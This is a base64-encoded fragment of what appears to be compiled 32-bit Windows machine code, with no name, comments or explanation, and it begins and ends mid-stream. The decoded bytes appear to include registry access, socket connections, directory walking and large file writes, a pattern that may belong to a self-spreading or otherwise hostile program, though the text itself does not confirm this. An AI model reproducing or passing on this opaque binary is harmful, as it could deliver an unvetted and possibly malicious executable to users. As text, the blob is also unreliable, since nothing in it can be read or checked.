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 